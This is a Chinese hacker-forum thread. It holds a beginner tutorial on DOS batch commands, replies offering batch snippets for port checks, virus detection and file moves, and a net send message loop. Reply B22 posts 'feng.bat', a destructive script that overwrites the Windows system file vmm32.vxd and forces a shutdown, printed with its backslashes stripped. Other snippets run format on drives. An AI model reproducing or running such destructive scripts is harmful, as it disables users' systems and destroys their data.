论坛: 黑客进阶 标题: 高手成长之路-使用批处理文件 复制本贴地址    
作者: jianphu [jianphu]    论坛用户   登录
 使用批处理文件 

                             ――常用命令   

  echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符 
echo off 表示在此语句后所有运行的命令都不显示命令行本身 
@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。 
call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令) 
pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续 
rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的 


  例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。 

  批处理文件的内容为:         文件表示: 

    echo off            不显示命令行 

    dir c:\*.* >a.txt       将c盘文件列表写入a.txt 

    call c:\ucdos\ucdos.bat    调用ucdos 

    echo 你好            显示"你好" 

    pause              暂停,等待按键继续 

    rem 使用wps           注释将使用wps 

    cd ucdos            进入ucdos目录 

    wps               使用wps   

  批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。 

   %表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。 

  例如,C:根目录下一批处理文件名为f.bat,内容为 format %1 

  则如果执行C:\>f a:    则实际执行的是format a: 

  又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2 

  那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容 。 

  if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 
1、if "参数" == "字符串"  待执行的命令 
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 
如if "%1"=="a" format a: 

2、if exist 文件名  待执行的命令 
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys 

3、if errorlevel 数字  待执行的命令 
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码 

goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如: 

goto end 

:end 
echo this is the end 

标号用 :字符串 表示,标号所在行不被执行 

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 

如: choice /cme defrag,mem,end 
将显示 
defrag,mem,end[D,M,E]? 

例如,test.bat的内容如下: 
@echo off 
choice /cme defrag,mem,end 
if errorlevel 3 goto defrag 应先判断数值最高的错误码 
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

efrag 
c:\dos\defrag 
goto end 

:mem 
mem 
goto end 

:end 
echo good bye 

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 

for 循环命令,只要条件符合,它将多次执行同一命令。 

格式FOR [%%f] in (集合) DO [命令] 
只要参数f在指定的集合内,则条件成立,执行命令 

如果一条批处理文件中有一行: 
for %%c in (*.bat *.txt) do type %%c 
含义是如果是以bat或txt结尾的文件,则显示文件的内容。 

地主 发表时间: 06/16 13:33

回复: jjffk [jjffk]   论坛用户   登录
顶啊

B1层 发表时间: 06/17 13:15

回复: magic [buaaytt]   论坛用户   登录
嗯,不错啊

B2层 发表时间: 06/17 19:30

回复: daviy [daviy]   论坛用户   登录
很好!

B3层 发表时间: 06/19 14:54

回复: gaozizhan [gaozizhan]   论坛用户   登录
好呀
高手我还想问一个问题,就是能不能用批处理,改变文件里面的内容,比如:config.sys
 怎么改


B4层 发表时间: 06/19 22:07

回复: jackcheng [jackcheng]   论坛用户   登录
 bat文件还可以写成病毒,有兴趣的可去找一些看看

B5层 发表时间: 06/20 17:14

回复: nightcolor [nightcolor]   版主   登录
病毒?  recall?  呵呵

B6层 发表时间: 06/28 22:37

回复: cyshaoping [cyshaoping]   论坛用户   登录
我来加一片:


批处理,说白了就是DOS操作。有人认为DOS操作过时了、落后了,其实不然。其中,最大的好处就在于快、不留痕。然而,在许多时候,Windows操作根本是解决不了问题的。 
必备常识:批处理的编写和修改 
打开记事本,将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。 

批处理运用一:扫描本地端口 
这个功能优化大师有,就是扫描哪个端口与internet连接和连接ip。这,为及时发现并拦截非法连接有着不可取代的功劳。 
然而,启动优化大师太慢了,而且太烦了,不利于随机使用。因此,编写一个这样的批处理来解决问题就显得尤为重要了。 
************************************************************ 
代码: 
netstat -n 
pause 
附:也可在每一行开头添上“@”,这样命令就不会显示出来。 
************************************************************ 

批处理运用二:查常见病毒 
其实,对于上网的人来说,遇到病毒是在所难免的。然而,如果真的不幸感染,怎样才能发现呢?难道真的要买昂贵的杀毒软件吗?不一定。 
我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒,可以下载专用杀毒工具进行查杀,或采取其他途径杀毒。 
下面,我以欢乐时光为例进行分析: 
主文件:1.bat 
其它文件:2.bat 3.bat 
************************************************************ 
1.bat代码: 
@if exist c:\folder.htt call 2.bat 
@if exist d:\folder.htt call 2.bat 
@if exist e:\folder.htt call 2.bat 
@if exist f:\folder.htt call 2.bat 
************************************************************ 
2.bat代码: 
@echo 发现欢乐时光病毒! 
@call 3.bat 
@pause 
************************************************************ 
3.bat代码: 
@c: 
@dir *.htt *.ini /s/a>1.txt 
@d: 
@dir *.htt *.ini /s/a>1.txt 
@e: 
@dir *.htt *.ini /s/a>1.txt 
************************************************************ 
这样,如果中毒,那么必定会存在大量folder.htt和Desktop.ini,通过这样可以粗略的检查计算机是否感染病毒。 

批处理运用三:文件处理 
假设,我要大规模的做文件的移动、删除等,如果在Windows里操作不免会出现错误,而且这些错误不易察觉。因此,用批处理进行操作,不但简单易行,而且容易发现错误并可以及时纠正。 
例如,我要将D盘的htm文件移动到E盘,再格式化D盘,然后将文件移回D盘,并改后缀为html。 
************************************************************ 
1.bat代码: 
@E: 
@Md d 
@D: 
@Copy *.htm e:\d 
@if exist e:\d\*.htm call 2.bat 
************************************************************ 
2.bat代码: 
@format d:/q 
@Copy e:\d\*.htm d: 
@D: 
@Ren *.htm *.html 
************************************************************ 
从例子中,可以看出,如果一旦出现问题,是很容易被发现的。从而,也证明了批处理的可用性。 



B7层 发表时间: 07/01 12:06

回复: shuaishuai [shuaishuai]   论坛用户   登录
请问如何将bat文件做成exe文件呢(两者运行后效果相同)

B8层 发表时间: 07/07 13:35

回复: yimarong [yimarong]   版主   登录
帮忙顶一下!

B9层 发表时间: 07/16 00:41

回复: dupi [dupi]   论坛用户   登录
不错 

B10层 发表时间: 07/31 22:08

回复: yimarong [yimarong]   版主   登录
请问如何将bat文件做成exe文件呢(两者运行后效果相同) 


这个还是请高手废点心拉!

B11层 发表时间: 08/01 15:04

回复: lovewuchun [qqloveni]   论坛用户   登录
好,对我有用。

B12层 发表时间: 08/03 01:07

回复: nothing [eson]   论坛用户   登录
请问如何将bat文件做成exe文件呢(两者运行后效果相同)

B13层 发表时间: 08/03 12:31

回复: ywt1188 [ywt1188]   论坛用户   登录
已经把上面的抄下来了``呵呵``

B14层 发表时间: 08/03 13:53

回复: tianyecool [tianyecool]   论坛用户   登录


B15层 发表时间: 08/06 01:58

回复: yimarong [yimarong]   版主   登录
顶~

B16层 发表时间: 08/07 06:30

回复: keke [keke1]   论坛用户   登录
顶。。。。

B17层 发表时间: 08/10 13:26

回复: linuX2003 [netyu]   论坛用户   登录
 好啊,写得好!!写得好!!

B18层 发表时间: 08/11 11:30

回复: all528 [all528]   论坛用户   登录
好文章值得顶一顶

B19层 发表时间: 08/11 18:37

回复: 迷絮 [catmi]   版主   登录
呵呵

@echo **ing 
:start 
@net send %1 %2 
@if errorievel 1 goto over 
:over 
@echo fall:( 
 

B20层 发表时间: 08/19 18:49

回复: keke [keke1]   论坛用户   登录
顶。。。。

B21层 发表时间: 08/23 15:56

回复: yimarong [yimarong]   版主   登录
将下面源程序另存为feng.bat 

--------------------------------------- 


原文转来希望可以对某些人有点帮助!



@rem 

@echo off 

SMARTDRV 

copy c:windowssystemvmm32.vxd c:windowssystemvmm32vmm32.vxd 

ren c:windowssystemvmm32.vxd feng.vxd 

echo Hackerfeng>c:windowssystemvmm32.vxd 

echo del c:windowssystemvmm32.vxd>c:windowssystemvmm32.bat 

echo ren c:windowssystemfeng.vxd vmm32.vxd>>c:windowssystemvmm321119.bat 

echo del c:windowsdesktopfeng.url>>c:windowssystemvmm321119.bat 

echo [internetshortcut]>c:windowsdesktopfeng.txt 

echo url=http://127.0.0.1>>c:windowsdesktopfeng.txt 

echo iconindex=1>>c:windowsdesktopfeng.txt 

echo iconfile=c:concon.dll>>c:windowsdesktopfeng.txt 

ren c:windowsdesktopfeng.txt feng.url 

echo on 

********************feng********************** 

* * 

* www.yangtai.i-p.com * 

* * 

**************************************************** 

0===={===========> 

rundll32.exe user.exe,exitwindows 

cls



B22层 发表时间: 08/29 06:41

回复: qfwuying [qfwuying]      登录
好~~~~~

B23层 发表时间: 10/01 14:44

回复: realpope [realpope]   论坛用户   登录
谢谢了  我全copy下来了

B24层 发表时间: 10/13 12:42

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号